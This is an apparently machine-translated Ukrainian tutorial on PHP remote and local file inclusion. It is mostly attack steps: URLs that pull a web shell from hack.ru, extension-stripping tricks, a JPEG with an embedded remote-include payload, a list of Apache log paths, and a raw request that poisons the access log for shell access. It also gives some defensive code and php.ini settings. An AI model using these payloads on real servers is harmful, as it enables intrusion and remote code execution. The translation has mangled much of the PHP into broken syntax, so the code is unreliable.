PHP-include та способи захисту
Вступ
Глобальний інклуд
Найбільш небезпечна з вразливостей вебу, але на жаль, чи на щастя зустрічається в наш час вкрай рідко. Для атаки необхідно, що б функція allow_url_include була включена, тобто "On"Уразливість дозволяє зловмисникові виконати на сервері довільний php код.
У PHP існують чотири функції для включення файлів в сценарії PHP:
* Include ();
* Include_once ();
* Require ();
* Require_once ().
Функція include () включає вміст файлу в сценарій. Розглянемо приклад "двічі" вразливого коду:
<? php if ($ _GET [ 'page']. '.php') { include ($ _GET [ 'page']. '.php'); } else { include ($ file. '.php'); } ?>За допомогою умови ми перевіряємо, якщо через url на сервер передається елемент масиву $ _GET [ 'page'], то викликаємо функцію include (). Через те, що значення масиву $ _GET [ 'page'] не перевіряється на існування, за допомогою функції file_exists () зловмисник може провести атаку:
http://site.ru/index.php?page=http://hack.ru/shell
В іншому випадку ми інклуд include ($ file. '. php');
Тут таже ситуація, просто запис коду трохи інша. Змінна $ file НЕ була визначена раннє і зловмисник може виконати віддалено php код:
http://site.ru/index.php?file=http://hack.ru/shell
Функція include_once () практично не відрізняється від include (), за одним винятком: перш ніж включати файл в програму, вона перевіряє, чи не чи був він включений раніше. Якщо файл вже був включений, виклик include_once () ігнорується, а якщо ні - відбувається стандартне включення файлу. <?php
include_once( $file . '.gif' ); ?>
<?php
include_once( $file . '.gif' ); ?>
У цьому прикладі до довантажувати файлу автоматично приписується розширення '.gif' Позбутися від розширення '.gif' можна двома способами:
1) якщо magic_quotes_gpc = Off то можна використовувати "отруйний нуль" -% 00 який відріж розширення
http://site.ru/index.php?file=http://hack.ru/shell.php%00
2) навіть якщо magic_quotes_gpc = On
http://site.ru/index.php?file=http://hack.ru/shell.php?
Функція require () аналогічна include (), за винятком одного - файл, який визначається параметром require (), включається в сценарій незалежно від місцезнаходження require () в сценарії. <?php
require( $file );
?>
<?php
require( $file );
?>
Атака аналогічна, але в цьому випадку розширення не приписується: http://site.ru/index.php?page=http://hack.ru/shell.php
Функція require_once () завантажує файл в сценарій всього один раз. <?php
require_once( $file . '.php' );
?>
<?php
require_once( $file . '.php' );
?>
Атака аналогічна ... Тепер розглянемо інший варіант інклуд. На цей раз необхідно, що б у файлі php.ini
значення параметра allow_url_fopen дорівнювало On, що і є за замовчуванням.
PHP код:
<? php $ f = fopen ( "$ file.php", "r"); while (! feof ($ f)) { $ s = fgets ($ f, 255); echo $ s; } fclose ($ f); ?>Через те що змінна $ file не була визначена раніше, зловмисник може провести атаку:
http://site.ru/index.php?file=http://hack.ru/shell
У підсумку знову отримуємо веб-шелл. Наступний приклад - використання функції readfile ()
<?php
readfile ( $file );
?>
<?php
readfile ( $file );
?>
Функція readfile () зчитує файл, ім'я якого передано їй як параметр, і виводить його вміст на екран. У підсумку знову отримуємо веб-шелл:
http://site.ru/index.php?file=http://hack.ru/shell
Тепер розглянемо такий варіант: <?php
echo implode ( "" , file ( $file ));
?>
<?php
echo implode ( "" , file ( $file ));
?>
За допомогою функції implode () ми об'єднуємо елементи масиву в рядок, а за допомогою функції file () отримуємо вміст файлу у вигляді масиву. В результаті знову маємо веб-шелл: http://site.ru/index.php?file=http://hack.ru/shell.php
Захист від глобальний інклуд
Звичайно можна перевіряти файл на існування з допомогою функції file_exists () і фільтрувати небажані символи з допомогою str_replace (), але я рекомендую використовувати конструкцію switch case:<? php global $ page; switch ($ page) { case '': include ( "pages / main.php"); break; case 'index': include ( "pages / main.php"); break; case 'page1': include ( "pages / folder / page1.php"); break; case 'page2': include ( "pages / folder / page2.php"); break; default: include ( "pages / hack.php"); break; } ?>Так само рекомендую відредагувати файл php.ini:
allow_url_include = Off // забороняємо віддалено інклуд файли allow_url_fopen = Off // забороняємо fopen відкривати посилання register_globals = Off // відключимо ініціалізацію глобальних змінних safe_mode = On // включаємо safe_mode (у Хеккера НЕ буде доступу до / etc / passwd і йому подібним) |
локальний інклуд
Не менш небезпечна уразливість в інтернеті. Дозволяє зловмисникові інклуд файли лежать на сервері. Багато новачків стикаючись з даної помилкою веб-кодинга кидають справу, так як не знають як діяти далі і в яку сторону копати. Я приведу загальний приклад:<?php
include( "include/$file" );
?>
<?php
include( "include/$file" );
?>
Глобально проінклудіть не вийти, т.к змінна $ file приписується після каталогу / include /
Що ж можна зробити?
Ідеальним вважається той випадок, коли на сайті варто чи форум або інша форма, за допомогою якої можна завантажити будь-який файл c будь-яким розширенням.
Виникає питання - а чому з будь-яким розширенням? Візьмемо до прикладу вигаданий сайт на якому є можливість завантаження аватарки через форум. На форумі варто скрипт, який перевіряє - чи дійсно користувач завантажив фотографію? Відкриваємо paint і зберігаємо будь-яке зображення приміром у форматі jpg. Після чого відкриваємо його блокнотом і після коду зображення пишемо <? Php include ( "http://hack.ru/shell.php"); ?> У результаті отримуємо приблизно таку картину:
яШяа JFIF `` яИ C $. ' ", # (7), 01444 '9 = 82 <.342яИ C 2! ! 222222222222222222222222222222222222222222222 22222яА 6 6 "Яд Отрута μ}! 1A Qa "q 2Ѓ'Ў # B ± Б Rср $ 3br, % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ "... † ‡ € ‰ С ™'" "• --~ ™ љўЈ¤Ґ|§Ё © ЄІіґμ¶ · ё№єВГДЕЖЗІЙКТУФХЦЧШЩ'бвгд ежзійкстуфхцчшщ'яД Отрута μ w! 1 AQ aq "2Ѓ B'Ў ± Б # 3Rр brС $ 4б% з & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz,ѓ "... † ‡ € ‰ С ™'" "• --~ ™ љўЈ¤Ґ|§Ё © ЄІіґμ¶ · ё№єВГДЕЖЗІЙКТУФХЦЧШЩ'вгде жзійктуфхцчшщ'я'? ч'(ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ЎЂ? Ящ <? Php include ( "http://hack.ru/shell.php"); ?>Тепер таку картинку можна завантажити на форум і вона буде сприйнята саме як картинка
Повернемося до питання про розширення. Чому нам підійде будь-який? Справа в тому, що функція include ()
завантажує код з одного файлу в виконуваний файл. Ось приклад:
http://www.site.com/index.php?include=../forum/images/shell.jpg
В результаті, в файлі index.php виконується код <? php include ( "http://hack.ru/ shell.php ");
?>
Список апатча
Як відомо apache веде лог-файли httpd-access.log і httpd-error.log і всі запитиприродно логіруются і пишуться у відповідні файли. Ось приблизний їх розташування:
/logs/error.log /logs/access.log / Logs / error_log / Logs / access_log / Var / log / error_log / Var / log / access_log /var/log/error.log /var/log/access.log / Var / www / logs / error_log /var/www/logs/error.log / Var / www / logs / access_log /var/www/logs/access.log / Var / log / apache / error_log /var/log/apache/error.log / Var / log / apache / access_log /var/log/apache/access.log /var/log/httpd/error.log /var/log/httpd/access.log / Var / log / httpd / error_log / Var / log / httpd / access_log /apache/logs/error.log /apache/logs/access.log / Apache / logs / error_log / Apache / logs / access_log / Usr / local / apache / logs / error_log /usr/local/apache/logs/error.log / Usr / local / apache / logs / access_log /usr/local/apache/logs/access.log / Home / www / logs / error_log /home/www/logs/error.log / Home / www / logs / access_log /home/www/logs/access.logЯ ж наведу приклад на локалхосте, думаю багатьом зрозуміліше буде. За допомогою програми InetCrack я відправляю пакет такого змісту:
GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Заголовок пакета записується в логи апатча, розташовані за адресою: Z:\usr\local\apache\logs\access.log
Тобто в цей файлик записується ось такий рядок: 127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414
Думаю суть зрозуміла. Нам залишається його проінклудіть: http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log
І отримати веб-шелл Захист від локальних інклуд
Ось невеликий прімерчік, як можна надійно захиститися:<? php
function stripslashes_for_array (& $ array)
{
reset ($ array);
while (list ($ key, $ val) = each ($ array))
{
if (is_string ($ val)) $ array [$ key] = stripslashes ($ val);
elseif (is_array ($ val)) $ array [$ key] = stripslashes_for_array ($ val);
}
return $ array;
}
if (! get_magic_quotes_gpc ())
{
stripslashes_for_array ($ _POST);
stripslashes_for_array ($ _GET);
}
if (isset ($ _GET [ 'file'])) $ file = $ _GET [ 'file'];
else
{
if (isset ($ _POST [ 'file'])) $ file = $ _POST [ 'file']; else $ file = ''; } $ file = str_replace ( '/', '', $ file); $ file = str_replace ( '.', '', $ file); if (! file_exists ( "include". '/'. $ file. '.php') || $ file == 'index') { $ file = 'news'; } include ( "include". '/'. $ file. '.php'); ?>
І так, що тут відбувається? Кожен елемент масиву перевіряється функцією stripslashes (). Вона вбиває бекслеші. Далі перевіряємо встановлено чи ні значення елемента масиву. Отфільтровуем неприпустимі символи ( '/', '.') Функцією str_replace (). Якщо файлу не існує (перевіряємо за допомогою функції file_exists ()) - присвоюємо значення змінної $ file = 'news'. В інших випадках (коли файл існує) інклуд його.
Коментарі
Коментуючи, пам'ятайте про те, що зміст і тон Вашого повідомлення можуть зачіпати почуття реальних людей, проявляйте повагу та толерантність до своїх співрозмовників навіть у тому випадку, якщо Ви не поділяєте їхню думку, Ваша поведінка за умов свободи висловлювань та анонімності, наданих інтернетом, змінює не тільки віртуальний, але й реальний світ. Всі коменти приховані з індексу, спам контролюється.